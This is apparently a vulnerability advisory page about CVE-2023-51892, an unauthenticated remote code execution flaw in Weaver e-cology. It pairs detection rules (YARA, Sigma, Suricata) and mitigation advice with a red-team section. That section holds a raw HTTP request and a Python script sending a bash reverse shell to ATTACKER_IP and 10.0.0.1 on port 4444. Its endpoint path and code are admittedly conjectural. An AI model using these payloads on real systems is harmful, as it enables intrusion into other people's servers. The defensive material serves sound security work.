CVE-2023-51892
Executive Summary
CVE-2023-51892 is a critical remote code execution (RCE) vulnerability in Weaver e-cology v.10.0.2310.01, specifically within the FrameworkShellController component. An unauthenticated attacker can exploit this flaw by sending a crafted script to the vulnerable endpoint, leading to arbitrary code execution on the server. The vulnerability has a public proof-of-concept (PoC) but no official patch, making it a high-priority threat for organizations using this enterprise collaboration platform. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch and public PoC increases risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based enterprise application (Weaver e-cology). Organizations should verify their software supply chain for any dependencies on Weaver e-cology and ensure no unpatched instances are exposed.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) – likely due to incomplete data. Based on the nature of the vulnerability (unauthenticated RCE), the estimated CVSS v3.1 vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 – Critical)
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required.
- Scope (S): Unchanged – vulnerable component only.
- Confidentiality (C): High – full system compromise.
- Integrity (I): High – arbitrary code execution.
- Availability (A): High – potential for denial of service.
Deep Dive & Mechanics
The vulnerability resides in the FrameworkShellController component of Weaver e-cology v.10.0.2310.01. This component is designed to execute shell commands or scripts for administrative tasks but lacks proper input validation and authentication checks. An attacker can send a crafted HTTP request to the vulnerable endpoint (e.g., /framework/shell or similar) with a malicious script payload. The server processes the input without sanitization, leading to arbitrary command execution.
Root Cause:
- Missing authentication on the
FrameworkShellControllerendpoint. - Lack of input validation or sanitization of user-supplied script content.
- The controller directly passes user input to a shell execution function (e.g.,
Runtime.exec()or similar).
Attack Flow:
- Attacker identifies the vulnerable endpoint (e.g., via Shodan or manual discovery).
- Sends a POST request with a crafted payload (e.g., a reverse shell command).
- The server executes the payload, granting the attacker remote access.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is presumed to be in the FrameworkShellController class. A patched version would require:
- Authentication enforcement: Require valid session tokens or API keys.
- Input validation: Whitelist allowed commands or use parameterized execution.
- Least privilege: Run shell commands with minimal permissions.
Vulnerable Code (Conceptual):
// Vulnerable: No auth, no input validation
@RequestMapping(value = "/framework/shell", method = RequestMethod.POST)
public String executeShell(@RequestParam String script) {
try {
Process process = Runtime.getRuntime().exec(script);
// ... read output
} catch (Exception e) { ... }
return "executed";
}
Patched Code (Conceptual):
// Patched: Authentication and input validation
@RequestMapping(value = "/framework/shell", method = RequestMethod.POST)
public String executeShell(@RequestParam String script, HttpSession session) {
if (session.getAttribute("user") == null) {
return "unauthorized";
}
if (!isAllowedCommand(script)) {
return "invalid command";
}
try {
Process process = Runtime.getRuntime().exec(script);
// ... read output
} catch (Exception e) { ... }
return "executed";
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running Weaver e-cology v.10.0.2310.01.
- Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the endpoint (e.g.,
http://target:8080/framework/shell). - Send a crafted POST request with a reverse shell payload.
Example Payload (Linux Reverse Shell):
POST /framework/shell HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
script=bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
Metasploit Module (if available):
No public Metasploit module exists; manual exploitation is required.
Python Exploit Script:
import requests
target = "http://target:8080/framework/shell"
payload = "bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'"
response = requests.post(target, data={"script": payload})
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor for POST requests to
/framework/shellor similar endpoints. - Alert on unusual command execution patterns (e.g., base64-encoded commands, reverse shell strings).
Defense:
- Block external access to the vulnerable endpoint via WAF or firewall.
- Apply virtual patching if possible (e.g., block requests containing
script=parameter). - Restrict outbound traffic from the application server to prevent reverse shells.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/framework/shellor/framework/*shell*. - Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
- Unusual command strings in HTTP body (e.g.,
bash -i,powershell -e).
- POST requests to
File IOCs:
- Unexpected files in
/tmpor web root (e.g.,shell.jsp,cmd.jsp). - Modified system binaries or scripts.
- Unexpected files in
Process IOCs:
- Spawned shell processes (e.g.,
bash,sh,cmd.exe) from the Java process. - Network connections initiated by the Java process to external IPs.
- Spawned shell processes (e.g.,
Detection Engineering
YARA Rule
rule CVE_2023_51892_Weaver_Shell {
meta:
description = "Detects exploitation attempts for CVE-2023-51892 in Weaver e-cology"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51892"
strings:
$s1 = "/framework/shell" ascii wide nocase
$s2 = "script=" ascii wide nocase
$s3 = "bash" ascii wide nocase
$s4 = "powershell" ascii wide nocase
$s5 = "cmd.exe" ascii wide nocase
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}
Sigma Rule
title: CVE-2023-51892 Weaver e-cology RCE Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to the vulnerable FrameworkShellController endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/framework/shell'
condition: selection
falsepositives:
- Legitimate administrative use (if any)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-51892 Weaver e-cology RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/framework/shell"; http_uri; content:"script="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: Disconnect Weaver e-cology servers from the internet if possible.
- Apply virtual patching: Use WAF rules to block requests to
/framework/shellor containingscript=parameter. - Restrict network access: Limit inbound access to the application to trusted IPs only.
Long-term Fix:
- Since no official patch exists, consider migrating to a supported version or alternative solution.
- Implement custom authentication and input validation for the vulnerable endpoint.
- Monitor vendor channels for any future patches.
Compensating Controls:
- Enable detailed logging for all HTTP requests.
- Deploy endpoint detection and response (EDR) to detect anomalous process execution.
- Conduct regular vulnerability scans.
Valters IT